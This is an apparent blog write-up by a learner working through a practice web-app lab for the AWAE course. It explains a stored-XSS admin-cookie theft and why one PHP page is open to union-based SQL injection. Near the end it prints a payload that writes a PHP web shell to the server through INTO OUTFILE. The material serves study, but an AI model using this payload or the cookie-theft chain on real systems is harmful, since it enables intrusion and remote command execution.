I will be writing on objective 5 in this github repo. This is my first time reviewing source code! And its pretty tough I must say. So, please correct me if I make any wrong analysis in the source code review. Thanks!

To solve this challenge, first I chained a stored XSS bug to leak admin cookies. With this admin cookies, I authenticate to the admin panel where the SQL vulnerability is at. The SQL vulnerability is easier to find on the webpage as compared to finding it from source code review. However, as AWAE will be focusing on source code review, I went back to understand the source code.

This is what I think happens in the main page, post.php.

  1. calls Post::find[id] — → this returns the post object
  2. calls Post::render_with_comments()
  3. calls Post::get_comments()
  4. SQL Statement is done here with the POST object ID
  5. if ID = invalid, POST::find[id] will return an invalid POST Object and thus dies out here
  6. SQL query is made with the objective ID
  7. calls Comment::from_row returns a comment object

Lets zoom into the places that have vulnerabilities and compare them!

“Safe” code
Seemingly “Safe” code in post.php
“Unsafe” code in edit.php

Upon my initial analysis, I thought that both codes are unsafe since they are not using the standard SQL prepare statements. However, why is it that we can only exploit it in edit.php???

There are 3 reasons that I think justifies why the vulnerability is in edit.php instead of the other php scripts that also accept “GET” Requests.

  1. In edit.php, GET request does not use a intval before it. This function converts user input into an integer, hence if the user inputs any special characters behind, it will most likely fail. Below is a link that you can do some further reading on: https://stackoverflow.com/questions/28894169/sql-injection-is-it-possible-when-the-variable-is-processed-using-intval
  2. In most php that takes in the GET Request, they only return the first statement. Comparing this with the page where comments are queried, there is a for loop in that which loops through all the results. However, the user doesnt interact directly with the get_comments function below. Instead, the post object is returned from Post::Find[id] in post.php. Therefore for sql injection to work in edit.php, we have to supply an invalid id so that it does not return any results. Combining this with our union statement, this will only return 1 result and thus allow whatever we queried to be displaced.
Note the while loop in SELECT * from Comments

3. Another possible place of SQL injection is the post.php page which allows the user to comment. Looking at the source code when I send a “id = 1 UNION SELECT 1,2,3,4”, it is not queried as can be seen the first href only displays /post.php?id=1. I am thinking only return the first row based on analysis at (1).

Decided to share my code since I got one working that is a “single click”. Post comment, start server, waits for cookie callback and finally do SQL injection. Link to my code and random analysis is here:

Edit: Found someone with much better code!

A few things i learn:

  1. Triple ‘’’ ‘’’ to escape nested quotes
  2. using \ (still dont really understand this yet)

id=0 UNION SELECT 1,2,3, ‘<?php system($_GET[\’c\’]); ?>’ INTO OUTFILE ‘/var/www/css/shell.php’

What is the \ for? What is the difference with this statement?

id=0 UNION SELECT 1,2,3, ‘‘‘<?php system($_GET[’c’]); ?>’’’ INTO OUTFILE ‘/var/www/css/shell.php’ → does this payload work? if not why?

I am guessing the ‘’’ is only for javascript?

And don’t put \ in front of the other ‘ because they mean different things. The \ is to escape the quote char INSIDE a string!

--

--